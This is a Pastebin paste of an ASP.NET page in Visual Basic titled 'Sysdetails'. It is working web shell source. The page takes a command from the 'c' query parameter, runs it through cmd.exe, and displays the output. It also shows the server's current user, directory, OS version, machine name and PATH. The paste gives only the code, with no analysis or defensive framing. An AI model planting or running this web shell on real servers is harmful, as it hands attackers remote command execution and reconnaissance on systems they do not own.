Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- <%@ Page Language="VB" %>
- <%
- Dim cmd As String = ""
- InputCmd.Text = cmd
- If Request.QueryString IsNot Nothing And Request.QueryString("c") IsNot Nothing Then
- cmd = Request.QueryString("c").ToString()
- InputCmd.Text = cmd
- CommandOutput.Text = ""
- Dim r = Shell("cmd.exe /c " & cmd & " > .\cmdoutput.out")
- if (r = 5) then
- CommandOutput.Text = "There was a problem with the arguments provided..."
- Else if (r = 53) then
- CommandOutput.Text = "I couln't find the file you are requesting..."
- else if (r = 91) then
- CommandOutput.Text = "There is no path at all!"
- else
- Dim read As System.IO.StreamReader
- read = System.IO.File.OpenText(".\cmdoutput.out")
- Do Until read.EndOfStream
- CommandOutput.Text += read.ReadLine & vbCrLf
- Loop
- read.Close()
- End If
- If System.IO.File.Exists(".\cmdoutput.out") = True Then
- System.IO.File.Delete(".\cmdoutput.out")
- End If
- End If
- CurrentUserE.Text = System.Environment.UserName
- CurrentUserM.Text = My.User.Name
- CurrentDirectory.Text = System.Environment.CurrentDirectory
- OSVersion.Text = System.Environment.OSVersion.ToString()
- ComputerName.Text = System.Environment.MachineName
- CmdPath.Text = System.Environment.GetEnvironmentVariable("PATH").ToString()
- %>
- <html>
- <head>
- <title>Sysdetails</title>
- </head>
- <body bgcolor="#000000" text="#729f81">
- <b>Current User: </b><asp:label id="CurrentUserE" runat="server" /><br/>
- <b>Current User: </b><asp:label id="CurrentUserM" runat="server" /><br/>
- <b>Current Directory: </b><asp:label id="CurrentDirectory" runat="server" /><br/>
- <b>Computer OS Version: </b><asp:label id="OSVersion" runat="server" /><br/>
- <b>Computer Name: </b><asp:label id="ComputerName" runat="server" /><br/>
- <b>CMD Path: </b><asp:label id="CmdPath" runat="server" /><br/>
- <hr/>
- <form id="formCommandOutput" runat="server">
- <div id="CommandOutput">
- <b>Result of <asp:label id="InputCmd" runat="server" />:</b><br/>
- <asp:TextBox id="CommandOutput" runat="server" TextMode="multiline" Columns="150" Rows="30"/>
- </div>
- </form>
- </body>
- </html>
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement